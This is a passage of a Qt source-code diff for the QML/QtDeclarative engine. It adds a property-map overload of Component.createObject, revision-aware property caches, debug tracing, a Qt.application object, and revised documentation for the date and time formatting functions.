+    int indexOfProperty(QDeclarativeParser::Object *, const QByteArray &, bool *notInRevision = 0);
+    int indexOfSignal(QDeclarativeParser::Object *, const QByteArray &, bool *notInRevision = 0);
 
     void addId(const QString &, QDeclarativeParser::Object *);
 
diff --git a/src/declarative/qml/qdeclarativecomponent.cpp b/src/declarative/qml/qdeclarativecomponent.cpp
index f716f85..cf40182 100644
--- a/src/declarative/qml/qdeclarativecomponent.cpp
+++ b/src/declarative/qml/qdeclarativecomponent.cpp
@@ -54,11 +54,13 @@
 #include "private/qdeclarativescriptparser_p.h"
 #include "private/qdeclarativedebugtrace_p.h"
 #include "private/qdeclarativeenginedebug_p.h"
+#include <QtScript/qscriptvalueiterator.h>
 
 #include <QStack>
 #include <QStringList>
 #include <QtCore/qdebug.h>
 #include <QApplication>
+#include <qdeclarativeinfo.h>
 
 QT_BEGIN_NAMESPACE
 
@@ -613,7 +615,7 @@ QDeclarativeComponent::QDeclarativeComponent(QDeclarativeComponentPrivate &dd, Q
 }
 
 /*!
-    \qmlmethod object Component::createObject(Item parent)
+    \qmlmethod object Component::createObject(Item parent, Script valuemap = null)
 
     Creates and returns an object instance of this component that will have the given 
     \a parent. Returns null if object creation fails.
@@ -631,6 +633,12 @@ QDeclarativeComponent::QDeclarativeComponent(QDeclarativeComponentPrivate &dd, Q
     it is not destroyed by the garbage collector.  This is regardless of Item.parent being set afterwards,
     since setting the Item parent does not change object ownership; only the graphical parent is changed.
 
+    Since QtQuick 1.1, a map of property values can be optionally passed to the method that applies values to the object's properties
+    before its creation is finalised. This will avoid binding issues that can occur when the object is
+    instantiated before property bindings have been set. For example:
+
+    \code component.createObject(parent, {"x": 100, "y": 100, "specialProperty": someObject}); \endcode
+
     Dynamically created instances can be deleted with the \c destroy() method.
     See \l {Dynamic Object Management in QML} for more information.
 */
@@ -646,25 +654,46 @@ QDeclarativeComponent::QDeclarativeComponent(QDeclarativeComponentPrivate &dd, Q
 QScriptValue QDeclarativeComponent::createObject(QObject* parent)
 {
     Q_D(QDeclarativeComponent);
-    QDeclarativeContext* ctxt = creationContext();
-    if(!ctxt && d->engine)
-        ctxt = d->engine->rootContext();
+    return d->createObject(parent, QScriptValue(QScriptValue::NullValue));
+}
+
+/*!
+    \internal
+    Overloadable method allows properties to be set during creation
+*/
+QScriptValue QDeclarativeComponent::createObject(QObject* parent, const QScriptValue& valuemap)
+{
+    Q_D(QDeclarativeComponent);
+
+    if (!valuemap.isObject() || valuemap.isArray()) {
+        qmlInfo(this) << tr("createObject: value is not an object");
+        return QScriptValue(QScriptValue::NullValue);
+    }
+    return d->createObject(parent, valuemap);
+}
+
+QScriptValue QDeclarativeComponentPrivate::createObject(QObject *publicParent, const QScriptValue valuemap)
+{
+    Q_Q(QDeclarativeComponent);
+    QDeclarativeContext* ctxt = q->creationContext();
+    if(!ctxt && engine)
+        ctxt = engine->rootContext();
     if (!ctxt)
         return QScriptValue(QScriptValue::NullValue);
-    QObject* ret = beginCreate(ctxt);
+    QObject* ret = q->beginCreate(ctxt);
     if (!ret) {
-        completeCreate();
+        q->completeCreate();
         return QScriptValue(QScriptValue::NullValue);
     }
 
-    if (parent) {
-        ret->setParent(parent);
+    if (publicParent) {
+        ret->setParent(publicParent);
         QList<QDeclarativePrivate::AutoParentFunction> functions = QDeclarativeMetaType::parentFunctions();
 
         bool needParent = false;
 
         for (int ii = 0; ii < functions.count(); ++ii) {
-            QDeclarativePrivate::AutoParentResult res = functions.at(ii)(ret, parent);
+            QDeclarativePrivate::AutoParentResult res = functions.at(ii)(ret, publicParent);
             if (res == QDeclarativePrivate::Parented) {
                 needParent = false;
                 break;
@@ -673,14 +702,41 @@ QScriptValue QDeclarativeComponent::createObject(QObject* parent)
             }
         }
 
-        if (needParent) 
+        if (needParent)
             qWarning("QDeclarativeComponent: Created graphical object was not placed in the graphics scene.");
     }
-    completeCreate();
 
-    QDeclarativeEnginePrivate *priv = QDeclarativeEnginePrivate::get(d->engine);
+    QDeclarativeEnginePrivate *priv = QDeclarativeEnginePrivate::get(engine);
     QDeclarativeData::get(ret, true)->setImplicitDestructible();
-    return priv->objectClass->newQObject(ret, QMetaType::QObjectStar);
+    QScriptValue newObject = priv->objectClass->newQObject(ret, QMetaType::QObjectStar);
+
+    if (valuemap.isObject() && !valuemap.isArray()) {
+        //Iterate through and assign properties
+        QScriptValueIterator it(valuemap);
+        while (it.hasNext()) {
+            it.next();
+            QScriptValue prop = newObject;
+            QString propName = it.name();
+            int index = propName.indexOf(QLatin1Char('.'));
+            if (index > 0) {
+                QString subProp = propName;
+                int lastIndex = 0;
+                while (index > 0) {
+                    subProp = propName.mid(lastIndex, index - lastIndex);
+                    prop = prop.property(subProp);
+                    lastIndex = index + 1;
+                    index = propName.indexOf(QLatin1Char('.'), index + 1);
+                }
+                prop.setProperty(propName.mid(propName.lastIndexOf(QLatin1Char('.')) + 1), it.value());
+            } else {
+                newObject.setProperty(propName, it.value());
+            }
+        }
+    }
+
+    q->completeCreate();
+
+    return newObject;
 }
 
 /*!
@@ -782,8 +838,10 @@ QObject * QDeclarativeComponentPrivate::begin(QDeclarativeContextData *parentCon
     Q_ASSERT(!isRoot || state); // Either this isn't a root component, or a state data must be provided
     Q_ASSERT((state != 0) ^ (errors != 0)); // One of state or errors (but not both) must be provided
 
-    if (isRoot) 
+    if (isRoot) {
         QDeclarativeDebugTrace::startRange(QDeclarativeDebugTrace::Creating);
+        QDeclarativeDebugTrace::rangeData(QDeclarativeDebugTrace::Creating, component->url);
+    }
 
     QDeclarativeContextData *ctxt = new QDeclarativeContextData;
     ctxt->isInternal = true;
@@ -812,7 +870,6 @@ QObject * QDeclarativeComponentPrivate::begin(QDeclarativeContextData *parentCon
 
         state->bindValues = enginePriv->bindValues;
         state->parserStatus = enginePriv->parserStatus;
-        state->finalizedParserStatus = enginePriv->finalizedParserStatus;
         state->componentAttached = enginePriv->componentAttached;
         if (state->componentAttached)
             state->componentAttached->prev = &state->componentAttached;
@@ -820,7 +877,6 @@ QObject * QDeclarativeComponentPrivate::begin(QDeclarativeContextData *parentCon
         enginePriv->componentAttached = 0;
         enginePriv->bindValues.clear();
         enginePriv->parserStatus.clear();
-        enginePriv->finalizedParserStatus.clear();
         state->completePending = true;
         enginePriv->inProgressCreations++;
     }
@@ -851,7 +907,6 @@ void QDeclarativeComponentPrivate::beginDeferred(QDeclarativeEnginePrivate *engi
 
         state->bindValues = enginePriv->bindValues;
         state->parserStatus = enginePriv->parserStatus;
-        state->finalizedParserStatus = enginePriv->finalizedParserStatus;
         state->componentAttached = enginePriv->componentAttached;
         if (state->componentAttached)
             state->componentAttached->prev = &state->componentAttached;
@@ -859,7 +914,6 @@ void QDeclarativeComponentPrivate::beginDeferred(QDeclarativeEnginePrivate *engi
         enginePriv->componentAttached = 0;
         enginePriv->bindValues.clear();
         enginePriv->parserStatus.clear();
-        enginePriv->finalizedParserStatus.clear();
         state->completePending = true;
         enginePriv->inProgressCreations++;
     }
@@ -897,14 +951,17 @@ void QDeclarativeComponentPrivate::complete(QDeclarativeEnginePrivate *enginePri
             QDeclarativeEnginePrivate::clear(ps);
         }
 
-        for (int ii = 0; ii < state->finalizedParserStatus.count(); ++ii) {
-            QPair<QDeclarativeGuard<QObject>, int> status = state->finalizedParserStatus.at(ii);
-            QObject *obj = status.first;
-            if (obj) {
-                void *args[] = { 0 };
-                QMetaObject::metacall(obj, QMetaObject::InvokeMetaMethod,
-                                      status.second, args);
+        if (1 == enginePriv->inProgressCreations) {
+            for (int ii = 0; ii < enginePriv->finalizedParserStatus.count(); ++ii) {
+                QPair<QDeclarativeGuard<QObject>, int> status = enginePriv->finalizedParserStatus.at(ii);
+                QObject *obj = status.first;
+                if (obj) {
+                    void *args[] = { 0 };
+                    QMetaObject::metacall(obj, QMetaObject::InvokeMetaMethod,
+                                          status.second, args);
+                }
             }
+            enginePriv->finalizedParserStatus.clear();
         }
 
         while (state->componentAttached) {
@@ -919,7 +976,6 @@ void QDeclarativeComponentPrivate::complete(QDeclarativeEnginePrivate *enginePri
 
         state->bindValues.clear();
         state->parserStatus.clear();
-        state->finalizedParserStatus.clear();
         state->completePending = false;
 
         enginePriv->inProgressCreations--;
@@ -929,7 +985,6 @@ void QDeclarativeComponentPrivate::complete(QDeclarativeEnginePrivate *enginePri
                 enginePriv->erroredBindings->removeError();
             }
         }
-
     }
 }
 
diff --git a/src/declarative/qml/qdeclarativecomponent.h b/src/declarative/qml/qdeclarativecomponent.h
index 6f28f2e..9a60a8b 100644
--- a/src/declarative/qml/qdeclarativecomponent.h
+++ b/src/declarative/qml/qdeclarativecomponent.h
@@ -110,6 +110,7 @@ Q_SIGNALS:
 protected:
     QDeclarativeComponent(QDeclarativeComponentPrivate &dd, QObject* parent);
     Q_INVOKABLE QScriptValue createObject(QObject* parent);
+    Q_INVOKABLE Q_REVISION(1) QScriptValue createObject(QObject* parent, const QScriptValue& valuemap); //XXX Versioning
 
 private:
     QDeclarativeComponent(QDeclarativeEngine *, QDeclarativeCompiledData *, int, int, QObject *parent);
diff --git a/src/declarative/qml/qdeclarativecomponent_p.h b/src/declarative/qml/qdeclarativecomponent_p.h
index 02a6ce8..020c5e0 100644
--- a/src/declarative/qml/qdeclarativecomponent_p.h
+++ b/src/declarative/qml/qdeclarativecomponent_p.h
@@ -101,7 +101,6 @@ public:
         ConstructionState() : componentAttached(0), completePending(false) {}
         QList<QDeclarativeEnginePrivate::SimpleList<QDeclarativeAbstractBinding> > bindValues;
         QList<QDeclarativeEnginePrivate::SimpleList<QDeclarativeParserStatus> > parserStatus;
-        QList<QPair<QDeclarativeGuard<QObject>, int> > finalizedParserStatus;
         QDeclarativeComponentAttached *componentAttached;
         QList<QDeclarativeError> errors;
         bool completePending;
@@ -116,6 +115,8 @@ public:
                               ConstructionState *state);
     static void complete(QDeclarativeEnginePrivate *enginePriv, ConstructionState *state);
 
+    QScriptValue createObject(QObject *publicParent, const QScriptValue valuemap);
+
     QDeclarativeEngine *engine;
     QDeclarativeGuardedContextData creationContext;
 
diff --git a/src/declarative/qml/qdeclarativecontext_p.h b/src/declarative/qml/qdeclarativecontext_p.h
index f7d2c62..b7e4c6a 100644
--- a/src/declarative/qml/qdeclarativecontext_p.h
+++ b/src/declarative/qml/qdeclarativecontext_p.h
@@ -77,7 +77,6 @@ class QDeclarativeEngine;
 class QDeclarativeExpression;
 class QDeclarativeExpressionPrivate;
 class QDeclarativeAbstractExpression;
-class QDeclarativeBinding_Id;
 class QDeclarativeCompiledBindings;
 class QDeclarativeContextData;
 
diff --git a/src/declarative/qml/qdeclarativecustomparser.cpp b/src/declarative/qml/qdeclarativecustomparser.cpp
index e8ffe3b..8dd6824 100644
--- a/src/declarative/qml/qdeclarativecustomparser.cpp
+++ b/src/declarative/qml/qdeclarativecustomparser.cpp
@@ -304,5 +304,14 @@ const QMetaObject *QDeclarativeCustomParser::resolveType(const QByteArray& name)
     return compiler->resolveType(name);
 }
 
+/*!
+    Rewrites \a expression and returns an identifier that can be
+    used to construct the binding later. \a name
+    is used as the name of the rewritten function.
+*/
+QDeclarativeBinding::Identifier QDeclarativeCustomParser::rewriteBinding(const QString& expression, const QByteArray& name)
+{
+    return compiler->rewriteBinding(expression, name);
+}
 
 QT_END_NAMESPACE
diff --git a/src/declarative/qml/qdeclarativecustomparser_p.h b/src/declarative/qml/qdeclarativecustomparser_p.h
index 32d85ae..be9f514 100644
--- a/src/declarative/qml/qdeclarativecustomparser_p.h
+++ b/src/declarative/qml/qdeclarativecustomparser_p.h
@@ -56,6 +56,7 @@
 #include "private/qdeclarativemetatype_p.h"
 #include "qdeclarativeerror.h"
 #include "private/qdeclarativeparser_p.h"
+#include "private/qdeclarativebinding_p.h"
 
 #include <QtCore/qbytearray.h>
 #include <QtCore/qxmlstream.h>
@@ -140,6 +141,8 @@ protected:
 
     const QMetaObject *resolveType(const QByteArray&) const;
 
+    QDeclarativeBinding::Identifier rewriteBinding(const QString&, const QByteArray&);
+
 private:
     QList<QDeclarativeError> exceptions;
     QDeclarativeCompiler *compiler;
diff --git a/src/declarative/qml/qdeclarativedom.cpp b/src/declarative/qml/qdeclarativedom.cpp
index 89aa79a..f1296aa 100644
--- a/src/declarative/qml/qdeclarativedom.cpp
+++ b/src/declarative/qml/qdeclarativedom.cpp
@@ -334,10 +334,10 @@ QList<QByteArray> QDeclarativeDomProperty::propertyNameParts() const
     Return true if this property is used as a default property in the QML
     document.
 
-    \qml
+    \code
 <Text text="hello"/>
 <Text>hello</Text>
-    \endqml
+    \endcode
 
     The above two examples return the same DOM tree, except that the second has
     the default property flag set on the text property.  Observe that whether
@@ -509,10 +509,10 @@ QByteArray QDeclarativeDomDynamicProperty::propertyTypeName() const
     Return true if this property is used as a default property in the QML
     document.
 
-    \qml
+    \code
 <Text text="hello"/>
 <Text>hello</Text>
-    \endqml
+    \endcode
 
     The above two examples return the same DOM tree, except that the second has
     the default property flag set on the text property.  Observe that whether
diff --git a/src/declarative/qml/qdeclarativeengine.cpp b/src/declarative/qml/qdeclarativeengine.cpp
index 545037f..b7a02f1 100644
--- a/src/declarative/qml/qdeclarativeengine.cpp
+++ b/src/declarative/qml/qdeclarativeengine.cpp
@@ -69,6 +69,8 @@
 #include "private/qdeclarativetypenamecache_p.h"
 #include "private/qdeclarativeinclude_p.h"
 #include "private/qdeclarativenotifier_p.h"
+#include "private/qdeclarativedebugtrace_p.h"
+#include "private/qdeclarativeapplication_p.h"
 
 #include <QtCore/qmetaobject.h>
 #include <QScriptClass>
@@ -202,8 +204,9 @@ void QDeclarativeEnginePrivate::defineModule()
 
 \brief The \c Qt object provides useful enums and functions from Qt, for use in all QML files. 
 
-The \c Qt object is not a QML element; it cannot be instantiated. It is a global object 
-with enums and functions.  To use it, call the members of the global \c Qt object directly. 
+The \c Qt object is a global object with utility functions, properties and enums.
+
+It is not instantiable; to use it, call the members of the global \c Qt object directly.
 For example:
 
 \qml
@@ -218,8 +221,8 @@ Text {
 
 \section1 Enums
 
-The Qt object contains enums that declared into Qt's Meta-Object System. For example, you can access
-the \c Leftbutton member of the \c Qt::MouseButton enum with \c Qt.LeftButton.
+The Qt object contains the enums available in the \l {Qt Namespace}. For example, you can access
+the \l Qt::LeftButton and \l Qt::RightButton enum values as \c Qt.LeftButton and \c Qt.RightButton.
 
 
 \section1 Types
@@ -261,6 +264,57 @@ of their use.
 \endlist
 */
 
+
+/*!
+    \qmlproperty object QML:Qt::application
+    \since QtQuick 1.1
+
+    The \c application object provides access to global application state
+    properties shared by many QML components.
+
+    Its properties are:
+
+    \table
+    \row
+    \o \c application.active
+    \o
+    This read-only property indicates whether the application is the top-most and focused
+    application, and the user is able to interact with the application. The property
+    is false when the application is in the background, the device keylock or screen
+    saver is active, the screen backlight is turned off, or the global system dialog
+    is being displayed on top of the application. It can be used for stopping and
+    pausing animations, timers and active processing of data in order to save device
+    battery power and free device memory and processor load when the application is not
+    active.
+
+    \row
+    \o \c application.layoutDirection
+    \o
+    This read-only property can be used to query the default layout direction of the
+    application. On system start-up, the default layout direction depends on the
+    application's language. The property has a value of \c Qt.RightToLeft in locales
+    where text and graphic elements are read from right to left, and \c Qt.LeftToRight
+    where the reading direction flows from left to right. You can bind to this
+    property to customize your application layouts to support both layout directions.
+
+    Possible values are:
+
+    \list
+    \o Qt.LeftToRight - Text and graphics elements should be positioned
+                        from left to right.
+    \o Qt.RightToLeft - Text and graphics elements should be positioned
+                        from right to left.
+    \endlist
+    \endtable
+
+    The following example uses the \c application object to indicate
+    whether the application is currently active:
+
+    \snippet doc/src/snippets/declarative/application.qml document
+
+*/
+
+
 /*!
 \qmlmethod object Qt::include(string url, jsobject callback)
 
@@ -458,6 +512,8 @@ QDeclarativeEnginePrivate::~QDeclarativeEnginePrivate()
         (*iter)->release();
     for(QHash<const QMetaObject *, QDeclarativePropertyCache *>::Iterator iter = propertyCache.begin(); iter != propertyCache.end(); ++iter)
         (*iter)->release();
+    for(QHash<QPair<QDeclarativeType *, int>, QDeclarativePropertyCache *>::Iterator iter = typePropertyCache.begin(); iter != typePropertyCache.end(); ++iter)
+        (*iter)->release();
 
 }
 
@@ -520,6 +576,9 @@ void QDeclarativeEnginePrivate::init()
     listClass = new QDeclarativeListScriptClass(q);
     rootContext = new QDeclarativeContext(q,true);
 
+    QScriptValue applicationObject = objectClass->newQObject(new QDeclarativeApplication(q));
+    scriptEngine.globalObject().property(QLatin1String("Qt")).setProperty(QLatin1String("application"), applicationObject);
+
     if (QCoreApplication::instance()->thread() == q->thread() &&
         QDeclarativeEngineDebugServer::isDebuggingEnabled()) {
         isDebugging = true;
@@ -717,7 +776,7 @@ void QDeclarativeEngine::addImageProvider(const QString &providerId, QDeclarativ
 {
     Q_D(QDeclarativeEngine);
     QMutexLocker locker(&d->mutex);
-    d->imageProviders.insert(providerId, QSharedPointer<QDeclarativeImageProvider>(provider));
+    d->imageProviders.insert(providerId.toLower(), QSharedPointer<QDeclarativeImageProvider>(provider));
 }
 
 /*!
@@ -959,7 +1018,14 @@ Q_AUTOTEST_EXPORT void qmlExecuteDeferred(QObject *object)
     QDeclarativeData *data = QDeclarativeData::get(object);
 
     if (data && data->deferredComponent) {
-
+        if (QDeclarativeDebugService::isDebuggingEnabled()) {
+            QDeclarativeDebugTrace::startRange(QDeclarativeDebugTrace::Creating);
+            QDeclarativeType *type = QDeclarativeMetaType::qmlType(object->metaObject());
+            QString typeName = type ? QLatin1String(type->qmlTypeName()) : QString::fromLatin1(object->metaObject()->className());
+            QDeclarativeDebugTrace::rangeData(QDeclarativeDebugTrace::Creating, typeName);
+            if (data->outerContext)
+                QDeclarativeDebugTrace::rangeLocation(QDeclarativeDebugTrace::Creating, data->outerContext->url, data->lineNumber);
+        }
         QDeclarativeEnginePrivate *ep = QDeclarativeEnginePrivate::get(data->context->engine);
 
         QDeclarativeComponentPrivate::ConstructionState state;
@@ -969,6 +1035,7 @@ Q_AUTOTEST_EXPORT void qmlExecuteDeferred(QObject *object)
         data->deferredComponent = 0;
 
         QDeclarativeComponentPrivate::complete(ep, &state);
+        QDeclarativeDebugTrace::endRange(QDeclarativeDebugTrace::Creating);
     }
 }
 
@@ -1372,7 +1439,17 @@ QScriptValue QDeclarativeEnginePrivate::vector3d(QScriptContext *ctxt, QScriptEn
 
 /*!
 \qmlmethod string Qt::formatDate(datetime date, variant format)
-Returns the string representation of \c date, formatted according to \c format.
+
+Returns a string representation of \c date, optionally formatted according
+to \c format.
+
+The \a date parameter may be a JavaScript \c Date object, a \l{date}{date}
+property, a QDate, or QDateTime value. The \a format parameter may be any of
+the possible format values as described for
+\l{QML:Qt::formatDateTime()}{Qt.formatDateTime()}.
+
+If \a format is not specified, \a date is formatted using
+\l {Qt::DefaultLocaleShortDate}{Qt.DefaultLocaleShortDate}.
 */
 #ifndef QT_NO_DATESTRING
 QScriptValue QDeclarativeEnginePrivate::formatDate(QScriptContext*ctxt, QScriptEngine*engine)
@@ -1399,9 +1476,16 @@ QScriptValue QDeclarativeEnginePrivate::formatDate(QScriptContext*ctxt, QScriptE
 
 /*!
 \qmlmethod string Qt::formatTime(datetime time, variant format)
-Returns the string representation of \c time, formatted according to \c format.
 
-See Qt::formatDateTime for how to define \c format.
+Returns a string representation of \c time, optionally formatted according to
+\c format.
+
+The \a time parameter may be a JavaScript \c Date object, a QTime, or QDateTime
+value. The \a format parameter may be any of the possible format values as
+described for \l{QML:Qt::formatDateTime()}{Qt.formatDateTime()}.
+
+If \a format is not specified, \a time is formatted using
+\l {Qt::DefaultLocaleShortDate}{Qt.DefaultLocaleShortDate}.
 */
 QScriptValue QDeclarativeEnginePrivate::formatTime(QScriptContext*ctxt, QScriptEngine*engine)
 {
@@ -1409,29 +1493,49 @@ QScriptValue QDeclarativeEnginePrivate::formatTime(QScriptContext*ctxt, QScriptE
     if(argCount == 0 || argCount > 2)
         return ctxt->throwError(QLatin1String("Qt.formatTime(): Invalid arguments"));
 
-    QTime date = ctxt->argument(0).toDateTime().time();
+    QTime time;
+    QScriptValue sv = ctxt->argument(0);
+    if (sv.isDate())
+        time = sv.toDateTime().time();
+    else if (sv.toVariant().type() == QVariant::Time)
+        time = sv.toVariant().toTime();
+
     Qt::DateFormat enumFormat = Qt::DefaultLocaleShortDate;
     if (argCount == 2) {
         QScriptValue formatArg = ctxt->argument(1);
         if (formatArg.isString()) {
             QString format = formatArg.toString();
-            return engine->newVariant(QVariant::fromValue(date.toString(format)));
+            return engine->newVariant(QVariant::fromValue(time.toString(format)));
         } else if (formatArg.isNumber()) {
             enumFormat = Qt::DateFormat(formatArg.toUInt32());
         } else {
             return ctxt->throwError(QLatin1String("Qt.formatTime(): Invalid time format"));
         }
     }
-    return engine->newVariant(QVariant::fromValue(date.toString(enumFormat)));
+    return engine->newVariant(QVariant::fromValue(time.toString(enumFormat)));
 }
 
 /*!
 \qmlmethod string Qt::formatDateTime(datetime dateTime, variant format)
-Returns the string representation of \c dateTime, formatted according to \c format.
 
-\c format for the date/time formatting functions is be specified as follows.
+Returns a string representation of \c datetime, optionally formatted according to
+\c format.
+
+The \a date parameter may be a JavaScript \c Date object, a \l{date}{date}
+property, a QDate, QTime, or QDateTime value.
 
-    These expressions may be used for the date:
+If \a format is not provided, \a dateTime is formatted using
+\l {Qt::DefaultLocaleShortDate}{Qt.DefaultLocaleShortDate}. Otherwise,
+\a format should be either.
+
+\list
+\o One of the Qt::DateFormat enumeration values, such as
+   \c Qt.DefaultLocaleShortDate or \c Qt.ISODate
+\o A string that specifies the format of the returned string, as detailed below.
+\endlist
+
+If \a format specifies a format string, it should use the following expressions
+to specify the date:
 
     \table
     \header \i Expression \i Output
@@ -1455,7 +1559,7 @@ Returns the string representation of \c dateTime, formatted according to \c form
     \row \i yyyy \i the year as four digit number
     \endtable
 
-    These expressions may be used for the time:
+In addition the following expressions can be used to specify the time:
 
     \table
     \header \i Expression \i Output
@@ -1476,23 +1580,28 @@ Returns the string representation of \c dateTime, formatted according to \c form
     \endtable
 
     All other input characters will be ignored. Any sequence of characters that
-    are enclosed in singlequotes will be treated as text and not be used as an
-    expression. Two consecutive singlequotes ("''") are replaced by a singlequote
+    are enclosed in single quotes will be treated as text and not be used as an
+    expression. Two consecutive single quotes ("''") are replaced by a single quote
     in the output.
 
-    Example format strings (assumed that the date and time is 21 May 2001
-    14:13:09):
+For example, if the following date/time value was specified:
+
+    \code
+    // 21 May 2001 14:13:09
+    var dateTime = new Date(2001, 5, 21, 14, 13, 09)
+    \endcode
+
+This \a dateTime value could be passed to \c Qt.formatDateTime(),
+\l {QML:Qt::formatDate()}{Qt.formatDate()} or \l {QML:Qt::formatTime()}{Qt.formatTime()}
+with the \a format values below to produce the following results:
 
     \table
-    \header \i Format       \i Result
-    \row \i dd.MM.yyyy      \i 21.05.2001
-    \row \i ddd MMMM d yy   \i Tue May 21 01
-    \row \i hh:mm:ss.zzz    \i 14:13:09.042
-    \row \i h:m:s ap        \i 2:13:9 pm
+    \header \i Format \i Result
+    \row \i "dd.MM.yyyy"      \i 21.05.2001
+    \row \i "ddd MMMM d yy"   \i Tue May 21 01
+    \row \i "hh:mm:ss.zzz"    \i 14:13:09.042
+    \row \i "h:m:s ap"        \i 2:13:9 pm
     \endtable
-
-If no format is specified the locale's short format is used. Alternatively, you can specify
-\c Qt.DefaultLocaleLongDate to get the locale's long format.
 */
 QScriptValue QDeclarativeEnginePrivate::formatDateTime(QScriptContext*ctxt, QScriptEngine*engine)
 {
@@ -1872,14 +1981,24 @@ QScriptValue QDeclarativeEnginePrivate::quit(QScriptContext * /*ctxt*/, QScriptE
 }
 
 /*!
-\qmlmethod color Qt::tint(color baseColor, color tintColor)
+    \qmlmethod color Qt::tint(color baseColor, color tintColor)
     This function allows tinting one color with another.
 
-    The tint color should usually be mostly transparent, or you will not be able to see the underlying color. The below example provides a slight red tint by having the tint color be pure red which is only 1/16th opaque.
+    The tint color should usually be mostly transparent, or you will not be
+    able to see the underlying color. The below example provides a slight red
+    tint by having the tint color be pure red which is only 1/16th opaque.
 
     \qml
-    Rectangle { x: 0; width: 80; height: 80; color: "lightsteelblue" }
-    Rectangle { x: 100; width: 80; height: 80; color: Qt.tint("lightsteelblue", "#10FF0000") }
+    Item {
+        Rectangle {
+            x: 0; width: 80; height: 80
+            color: "lightsteelblue"
+        }
+        Rectangle {
+            x: 100; width: 80; height: 80
+            color: Qt.tint("lightsteelblue", "#10FF0000")
+        }
+    }
     \endqml
     \image declarative-rect_tint.png
 
@@ -1994,10 +2113,11 @@ QVariant QDeclarativeEnginePrivate::scriptValueToVariant(const QScriptValue &val
 /*!
   Adds \a path as a directory where the engine searches for
   installed modules in a URL-based directory structure.
+  The \a path may be a local filesystem directory or a URL.
 
   The newly added \a path will be first in the importPathList().
 
-  \sa setImportPathList()
+  \sa setImportPathList(), \l {QML Modules}
 */
 void QDeclarativeEngine::addImportPath(const QString& path)
 {
@@ -2152,6 +2272,125 @@ static void *voidptr_constructor(const void *v)
     }
 }
 
+QDeclarativePropertyCache *QDeclarativeEnginePrivate::createCache(const QMetaObject *mo)
+{
+    Q_Q(QDeclarativeEngine);
+
+    if (!mo->superClass()) {
+        QDeclarativePropertyCache *rv = new QDeclarativePropertyCache(q, mo);
+        propertyCache.insert(mo, rv);
+        return rv;
+    } else {
+        QDeclarativePropertyCache *super = cache(mo->superClass());
+        QDeclarativePropertyCache *rv = super->copy();
+        rv->append(q, mo);
+        propertyCache.insert(mo, rv);
+        return rv;
+    }
+}
+
+QDeclarativePropertyCache *QDeclarativeEnginePrivate::createCache(QDeclarativeType *type, int minorVersion, 
+                                                                  QDeclarativeError &error)
+{
+    QList<QDeclarativeType *> types;
+
+    int maxMinorVersion = 0;
+
+    const QMetaObject *metaObject = type->metaObject();
+    while (metaObject) {
+        QDeclarativeType *t = QDeclarativeMetaType::qmlType(metaObject, type->module(), 
+                                                            type->majorVersion(), minorVersion);
+        if (t) {
+            maxMinorVersion = qMax(maxMinorVersion, t->minorVersion());
+            types << t;
+        } else {
+            types << 0;
+        }
+
+        metaObject = metaObject->superClass();
+    }
+
+    if (QDeclarativePropertyCache *c = typePropertyCache.value(qMakePair(type, maxMinorVersion))) {
+        c->addref();
+        typePropertyCache.insert(qMakePair(type, minorVersion), c);
+        return c;
+    }
+
+    QDeclarativePropertyCache *raw = cache(type->metaObject());
+
+    bool hasCopied = false;
+
+    for (int ii = 0; ii < types.count(); ++ii) {
+        QDeclarativeType *currentType = types.at(ii);
+        if (!currentType)
+            continue;
+
+        int rev = currentType->metaObjectRevision();
+        int moIndex = types.count() - 1 - ii;
+
+        if (raw->allowedRevisionCache[moIndex] != rev) {
+            if (!hasCopied) {
+                raw = raw->copy();
+                hasCopied = true;
+            }
+            raw->allowedRevisionCache[moIndex] = rev;
+        }
+    }
+
+    // Test revision compatibility - the basic rule is:
+    //    * Anything that is excluded, cannot overload something that is not excluded *
+
+    // Signals override:
+    //    * other signals and methods of the same name.
+    //    * properties named on<Signal Name> 
+    //    * automatic <property name>Changed notify signals
+
+    // Methods override:
+    //    * other methods of the same name
+
+    // Properties override:
+    //    * other elements of the same name
+
+    bool overloadError = false;
+    QString overloadName;
+
+#if 0
+    for (QDeclarativePropertyCache::StringCache::ConstIterator iter = raw->stringCache.begin();
+         !overloadError && iter != raw->stringCache.end();
+         ++iter) {
+
+        QDeclarativePropertyCache::Data *d = *iter;
+        if (raw->isAllowedInRevision(d))
+            continue; // Not excluded - no problems
+
+        // check that a regular "name" overload isn't happening
+        QDeclarativePropertyCache::Data *current = d;
+        while (!overloadError && current) {
+            current = d->overrideData(current);
+            if (current && raw->isAllowedInRevision(current)) 
+                overloadError = true;
+        }
+    }
+#endif
+
+    if (overloadError) {
+        if (hasCopied) raw->release();
+            
+        error.setDescription(QLatin1String("Type ") + QString::fromUtf8(type->qmlTypeName()) + QLatin1String(" ") + QString::number(type->majorVersion()) + QLatin1String(".") + QString::number(minorVersion) + QLatin1String(" contains an illegal property \"") + overloadName + QLatin1String("\".  This is an error in the type's implementation."));
+        return 0;
+    }
+
+    if (!hasCopied) raw->addref();
+    typePropertyCache.insert(qMakePair(type, minorVersion), raw);
+
+    if (minorVersion != maxMinorVersion) {
+        raw->addref();
+        typePropertyCache.insert(qMakePair(type, maxMinorVersion), raw);
+    }
+
+    return raw;
+}
+
 void QDeclarativeEnginePrivate::registerCompositeType(QDeclarativeCompiledData *data)
 {
     QByteArray name = data->root->className();
diff --git a/src/declarative/qml/qdeclarativeengine_p.h b/src/declarative/qml/qdeclarativeengine_p.h
index fc996b5..88b4e80 100644
--- a/src/declarative/qml/qdeclarativeengine_p.h
+++ b/src/declarative/qml/qdeclarativeengine_p.h
@@ -251,8 +251,12 @@ public:
     QDeclarativeValueTypeFactory valueTypes;
 
     QHash<const QMetaObject *, QDeclarativePropertyCache *> propertyCache;
+    QHash<QPair<QDeclarativeType *, int>, QDeclarativePropertyCache *> typePropertyCache;
     inline QDeclarativePropertyCache *cache(QObject *obj);
     inline QDeclarativePropertyCache *cache(const QMetaObject *);
+    inline QDeclarativePropertyCache *cache(QDeclarativeType *, int, QDeclarativeError &error);
+    QDeclarativePropertyCache *createCache(const QMetaObject *);
+    QDeclarativePropertyCache *createCache(QDeclarativeType *, int, QDeclarativeError &error);
 
     void registerCompositeType(QDeclarativeCompiledData *);
 
@@ -330,19 +334,17 @@ Returns a QDeclarativePropertyCache for \a obj if one is available.
 
 If \a obj is null, being deleted or contains a dynamic meta object 0 
 is returned.
+
+The returned cache is not referenced, so if it is to be stored, call addref().
 */
 QDeclarativePropertyCache *QDeclarativeEnginePrivate::cache(QObject *obj) 
 {
-    Q_Q(QDeclarativeEngine);
